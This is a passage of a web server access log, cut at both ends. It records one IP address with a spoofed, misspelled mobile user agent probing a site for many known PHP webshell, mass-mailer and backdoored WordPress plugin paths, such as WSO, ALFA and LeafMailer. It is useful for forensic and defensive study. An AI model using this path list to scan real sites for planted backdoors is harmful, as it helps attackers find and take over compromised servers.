Safari/537.36" 51.195.129.164 - - [01/May/2025:00:39:29 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:39:34 -0400] "GET /alex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:39:35 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:39:38 -0400] "GET /anone.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:39:40 -0400] "GET /wp-configer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:39:42 -0400] "GET /wp-ad.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:39:44 -0400] "GET /send.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:39:46 -0400] "GET /3.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:39:48 -0400] "GET /.wp-cache.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:39:49 -0400] "GET /sendmail.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:39:51 -0400] "GET /rahma.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:39:52 -0400] "GET /nasgor.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:39:56 -0400] "GET /wp-confirm.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:39:57 -0400] "GET /alfa123.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:39:59 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:40:01 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:40:04 -0400] "GET /wp-one.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:40:06 -0400] "GET /alexus.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:40:09 -0400] "GET /wso1337.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:40:10 -0400] "GET /1337.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:40:14 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:40:17 -0400] "GET /it.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:40:54 -0400] "GET /Sendemail.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:40:56 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:40:58 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:41:00 -0400] "GET /olu.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:41:03 -0400] "GET /alexusmailer%202.0.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:41:04 -0400] "GET /rss.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:41:06 -0400] "GET /alexus-mailer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:41:08 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:41:11 -0400] "GET /wso2.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:41:14 -0400] "GET /wso1.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:41:16 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:41:18 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:41:20 -0400] "GET /xl.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:41:22 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:41:25 -0400] "GET /file-manager.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:41:28 -0400] "GET /uploader.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:41:30 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:41:31 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:41:33 -0400] "GET /.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:41:35 -0400] "GET /tmp_images/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:41:38 -0400] "GET /wp-admin/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:41:39 -0400] "GET /wp-content/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:41:41 -0400] "GET /wp-includes/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:41:43 -0400] "GET /alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:41:45 -0400] "GET /css/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:41:47 -0400] "GET /files/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:41:49 -0400] "GET /images/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:41:51 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:41:53 -0400] "GET /wp-admin/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:41:55 -0400] "GET /wp-content/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:41:57 -0400] "GET /wp-includes/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:42:00 -0400] "GET /date.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:42:03 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:42:05 -0400] "GET /alfaindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:42:07 -0400] "GET /.alf.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:42:10 -0400] "GET /wp-content/plugins/cekidot/alf.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:42:11 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:42:13 -0400] "GET /wp-content/alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:42:16 -0400] "GET /snd.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:42:18 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:42:20 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:42:22 -0400] "GET /wp-content/plugins/upspy/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:42:24 -0400] "GET /wp-content/plugins/ubh/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:42:26 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php?cache HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:42:29 -0400] "GET /wp-content/themes/gaukingo/db.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:42:33 -0400] "GET /wp-content/plugins/three-column-screen-layout/db.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:42:35 -0400] "GET /wp-content/plugins/xichang/x.php?xi HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:40:18 -0400] "GET /kiss.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:40:21 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:40:23 -0400] "GET /wp2.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:40:26 -0400] "GET /owl.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:40:28 -0400] "GET /vuln.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:40:31 -0400] "GET /ohayo.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:40:33 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:40:35 -0400] "GET /cms.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:40:37 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:40:39 -0400] "GET /Gel.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:40:41 -0400] "GET /41.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:40:43 -0400] "GET /4price.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:40:44 -0400] "GET /MARIJUANA.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:40:46 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:40:48 -0400] "GET /.fk.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:40:50 -0400] "GET /XxX.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:40:52 -0400] "GET /alexuse.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:42:40 -0400] "GET /wp-content/plugins/html404/index.html HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:42:42 -0400] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:42:44 -0400] "GET /Marvins.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:42:46 -0400] "GET /wp-includes/css/modules.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:42:49 -0400] "GET /indoxploit.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:42:51 -0400] "GET /wp-content/plugins/css-ready-sel/file.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:42:53 -0400] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:42:54 -0400] "GET /wp-content/think.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A 